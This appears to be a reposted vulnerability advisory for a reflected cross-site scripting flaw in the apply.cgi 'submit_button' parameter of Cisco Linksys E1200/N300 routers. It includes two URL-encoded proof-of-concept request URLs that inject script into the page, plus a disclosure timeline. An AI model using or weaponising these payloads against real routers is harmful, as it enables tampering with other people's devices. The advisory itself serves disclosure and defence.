Cisco Linksys E1200 / N300 Cross Site Scripting

[Matt]

Description : Cisco Linksys E1200 and N300 devices suffer from a cross site scripting vulnerability.

Author : Carl Benedict

Source : Cisco Linksys E1200 / N300 Cross Site Scripting ? Packet Storm

Code :

Summary
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Software  : Cisco/Linksys Router OS
Hardware : E1200 N300 (others currently untested)
Version   : 2.0.04 (others currently untested)
Website   : http://www.linksys.com
Issue     :  Reflected XSS
Severity  : Medium
Researcher: Carl Benedict (theinfinitenigma)

Product Description
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The Cisco/Linksys E1200 N300 is a consumer-grade router, wireless access point, and 10/100 switch.

Details
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The apply.cgi page, which backs all HTML forms on the device, is vulnerable to reflected XSS via the 'submit_button' parameter. The vulnerability is caused due to a lack of input validation and poor/missing server side validation checks. This attack requires an authenticated session. This application uses HTTP basic authentication. Because of this, there is no session, which increases the likelihood of this attack being successful.

Sample URL #1 (HTTP GET request):

http://192.168.1.1/apply.cgi?submit_button=%27%3b%20%3C%2fscript%3E%3Cscript%3Ealert%281%29%3C%2fscript%3E%20%27

Sample URL #2 (HTTP GET request):

http://192.168.1.1/apply.cgi?submit_button=index%27%3b%20%3c%2f%73%63%72%69%70%74%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e%20%27&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&switch_mode=0&hnap_devicename=Cisco10002&need_reboot=0&user_language=&wait_time=0&dhcp_start=100&dhcp_start_conflict=0&lan_ipaddr=4&ppp_demand_pppoe=9&ppp_demand_pptp=9&ppp_demand_l2tp=9&ppp_demand_hb=9&wan_ipv6_proto=dhcp-tunnel&detect_lang=EN&wan_proto=dhcp&wan_hostname=&wan_domain=&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=255.255.255.0&machine_name=Cisco10002&lan_proto=dhcp&dhcp_check=&dhcp_start_tmp=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1

History
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04/26/2013 : Discovery
04/27/2013 : Advisory released